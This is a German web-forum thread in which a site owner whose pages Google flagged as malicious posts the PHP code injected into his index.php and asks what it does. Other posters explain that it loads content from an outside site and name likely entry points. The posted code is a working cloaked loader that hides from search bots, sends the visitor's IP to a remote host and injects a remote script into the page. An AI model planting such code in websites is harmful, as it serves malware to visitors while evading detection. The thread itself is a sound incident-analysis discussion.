Ankündigung

Einklappen
Keine Ankündigung bisher.

Rätselhaftes PHP-Script...

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Rätselhaftes PHP-Script...

    Hallo allerseits,

    ich bin neu hier und ein PHP-Anfänger und melde mich mit einer Bitte.

    Als Freelancer in der Verlagsbranche betreibe ich eine kleine Internetseite mit einem kleinen Blog und ein paar Infos über mich selbst.

    Seit heute wird meine Seite bei Google als "bösartige Seite" gelistet. Ich habe mir daraufhin meine Webseite angeschaut und festgestellt, dass in ein gutes halbes Dutzen PHP-Dateien und Javascripte Code eingefügt wurde. Ich habe die Dateien einfach mit sauberen Files aus einem Backup überschrieben - die Seite ist also wieder in Ordnung, wobei ihre Funktionaliät auch gar nicht eingeschränkt war. Abgesehen davon, dass ich nicht weiß, wie der zusätzliche Code in die Dateien gekommen ist verstehe ich auch nicht, was er tut.

    Deshalb hier der Code, der in die index.php meiner Webseite eingefügt wurde. Bei Interesse kann ich auch noch den Code aus den anderen Dateien posten. Für einen Hinweis auf die Sicherheitslücke und vor allem auch auf die Funktion des mir rätselhaften Scripts wäre ich dankbar:

    <?php
    #ef2d49#
    if (empty($ie)) {
    if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
    } else {
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
    {
    if (function_exists('curl_exec')) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remote_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
    $_url_get_contents_data = curl_exec($ch);
    curl_close($ch);
    } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
    $ctx = @stream_context_create(array('http' =>
    array(
    'timeout' => $timeout,
    )
    ));
    $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
    } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
    $handle = @fopen($remote_url, "r");
    $_url_get_contents_data = @stream_get_contents($handle);
    } else {
    $_url_get_contents_data = __file_get_url_contents($remote_url);
    }
    return $_url_get_contents_data;
    }
    }
    if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
    {
    if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
    $remote_url, $matches)
    ) {
    $protocol = strtolower($matches[1]);
    $host = $matches[2];
    $path = $matches[3];
    } else {
    // Bad remote_url-format
    return FALSE;
    }
    if ($protocol == "http") {
    $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
    } else {
    // Bad protocol
    return FALSE;
    }
    if (!$socket) {
    // Error creating socket
    return FALSE;
    }
    $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
    $len_written = @fwrite($socket, $request);
    if ($len_written === FALSE || $len_written != strlen($request)) {
    // Error sending request
    return FALSE;
    }
    $response = "";
    while (!@feof($socket) &&
    ($buf = @fread($socket, 4096)) !== FALSE) {
    $response .= $buf;
    }
    if ($buf === FALSE) {
    // Error reading response
    return FALSE;
    }
    $end_of_header = strpos($response, "\r\n\r\n");
    return substr($response, $end_of_header + 4);
    }
    }

    if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ie = "http://thepremiumplace.com/pyzrcdf4.php";
    $ie = __url_get_contents($ie."?a=$_ip", 1);
    if (strpos($ie, 'http://') === 0) {
    $__var_to_echo = '<script type="text/javascript" src="' . $ie . '?id=108135056"></script>';
    echo $__var_to_echo;
    }
    }
    }
    }
    #/ef2d49#
    ?>



    Lieben Gruß aus Hamburg

    Garamond

  • #2
    Der Code läd Content von
    http://thepremiumplace.com/

    herunter diese Seite ist von google als bösartig makiert

    der ganze Code sind Prüfungen ob irgendein bot die Seite aufruft
    wenn nicht dann wird per curl ein bzw file_get_contens content geladen
    ad astra

    Kommentar


    • #3
      Hallo Martin,


      lieben Dank für deinen Post - nun bin ich schlauer!

      Es scheint also so zu sein, dass der Code trotz verschiedener Maßnahmen von Bots erkannt und auch als schadhaft eingestuft wird.

      Kannst du eine Aussage darüber treffen, welche Art Content geladen wird oder wie der Code in meine Script-Dateien kommt? In dem Zusammenhang frage ich mich auch, ob "thepremiumplace" lediglich ebenfalls infiziert ist oder ob es sich dabei um eine Seite handelt, die bewusst Daten verteilt.

      Erneut Grüße von der Elbe

      Garamond

      Kommentar


      • #4
        https://safebrowsing.google.com/safe...w/th/index.php

        Kommentar


        • #5
          Hallo Coolio,

          lieben Dank. Aus den Infos hinter dem Link lese ich, dass "thepremiumplace" ebenfalls einfach nur infiziert wurde.

          Dann noch die eigentlich wichtigste Frage: Wie finde ich die Sicherheitslücke auf meiner Website? Mein Provider geht davon aus, dass der Fehler bei mir und nicht bei ihm liegt.

          Erneut ganz lieben Dank für die Hilfe!

          Garamond

          Kommentar


          • #6
            Hast du irgendwo ungesicherte Stellen zum Backend. Sprich: Lässt du den Nutzer z.B. Daten in ein Formular eingeben, die du unüberprüft in die Datenbank einträgst. Beliebte Anwendungsfälle sind in solchen Fällen 0815-Gästebücher aus dem Netz. Oder du bist vllt selbst zu ner Spamschnleuder geworden, indem du z.B. ein falsch konfiguriertes und unzureichend gesichertes Mailsystem, was gern Einzug in einem Newssystem findet, betreibst. In solchen Fällen liegt der Fehler in 90% der Fälle beim Coder selbst.

            Kommentar


            • #7
              Welche Blog-Software verwendest du? Nutzt du die aktuellste Version?

              Zitat von coolio Beitrag anzeigen
              in falsch konfiguriertes und unzureichend gesichertes Mailsystem
              Das wäre auch nur bei einem eigenen Root-Server der Fall!

              Kommentar

              Lädt...
              X